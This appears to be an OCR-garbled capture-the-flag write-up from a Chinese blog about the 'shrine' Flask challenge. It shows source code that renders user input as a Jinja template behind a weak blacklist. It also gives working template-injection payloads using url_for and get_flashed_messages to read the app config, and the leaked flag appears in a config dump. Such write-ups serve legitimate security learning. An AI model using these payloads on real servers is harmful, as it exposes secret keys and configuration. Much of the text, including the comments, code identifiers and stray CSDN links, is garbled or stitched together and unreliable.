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import flask import os app = flask.Flask(__name_ ) app.config['FLAG'] = os.environ.pop('FLAG") @app.route(’/") def index(): return open(_file_).read() @app.1
safe jinja(s): s = s.replace('(', ").replace("), ") blacklist = ['config’, 'self'] return "join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render te
__name__ =='_main__" app.run(debug=True)
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import flask
import os
app = flask.Flask(__name__)
app.config[ 'FLAG'] = os.environ.pop('FLAG') #flagiifiB, FEAEN B
@app.route('/') #¥&h: EHrurl, ViE/BENBRBITindex O
def index():
return open(__file_ ).read()  #EEUCHE
@app.route('/shrine/")
def shrine(shrine): #BH: f@Hrurl, ViiH/shrine/BE0 B ITshrine (shrine)
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') #BEAKSHN ( WD) BIRAT
blacklist = ['config', 'self'] #BZHF|E
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #IEEZHKRFREGIFENT
return flask.render_template_string(safe_jinja(shrine))
if _name__ == '__main__"': app.run(debug=True)
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1.url_for()
url_for&x iR 38 45 N\ [ 2% B 25 B0 5042, 1R [B1 % B B 5 B2 I URL, ZEARE AR 46 284 F url_for ()5t 7T DL 22 22 B B0 B 45 58
FIURL, JUIAS BE A oA Hh 3 G H 6 1 B 4

2.get_flashed_messages()
XA R B iR [ 2 B fEflask o @ T flask ()& A K1 B HIZIZR, flash ek $H01F AR fa] 52, 7T LA B Python 47 88 3%
AHIE BN —/NE BB\F F, FEfEFHget flashed message() sk L H © A1 H ¥ # #2

FE—: fEAurl_for()

#i& payload

http://111.200.241.244:51676/shrine/{{url_for.__globals_ ["current_app"].config}}


https://blog.csdn.net/m0_48108919
https://blog.csdn.net/m0_48108919/category_11623429.html
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_48108919/article/details/122893127
https://blog.csdn.net/m0_48108919/category_11623429.html

JiE—: f#fget_flashed_messages()
¥t payload

http://111.200.241.244:51676/shrine/{{get_flashed_messages._ globals_ ["current_app"].config}}

@ Load URL fhttp:,f/‘l 11.200.241.244:51676/shrine/{{url_for. _globals_ ["current_app"].config}}
% split URL
Execute
[] Postdata [ Referrer 4 OxHEX 3 &% %URL ¥» % BASE64 I

Insert string to replace

Insert replacing string Replace All 3 :

<Config {'JSON_AS ASCII": True, "USE X SENDFILE" False, 'SESSION COOKIE SECURE'": False, 'SESSION COOKIE PATH" None, 'SESSION COOKIE DOMAIN'": Non
'MAX_COOKIE SIZE": 4093, 'SESSION COOKIE SAMESITE": None, 'PROPAGATE EXCEPTION f=Nene~ENV-=productiqn’, 'DEBUG": False, 'SECRET KEY": None, 'EX}
'MAX CONTENT LENGTH'": None, 'APPLICATION ROOT" '/, 'SERVER NAME" None, 'FLAG'{'flag{shrine is good ssti}|, 'PREFERRED URL SCHEME" 'http’, JSONIF
'TESTING": False, 'PERMANENT_SESSION_LIFETIME": datetime.timedelta(31), ' TEMPLATES AUTO_RELOAD" None, 'TRAP_BAD_REQUEST _ERRORS" None, 'JSON_S
‘application/json’, 'SESSION_COOQOKIE_HTTPONLY": True, 'SEND_FILE_MAX_AGE_DEFAULT": datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_;F.XCE_PT;IQN;:

flag{shrine_is_good_ssti}
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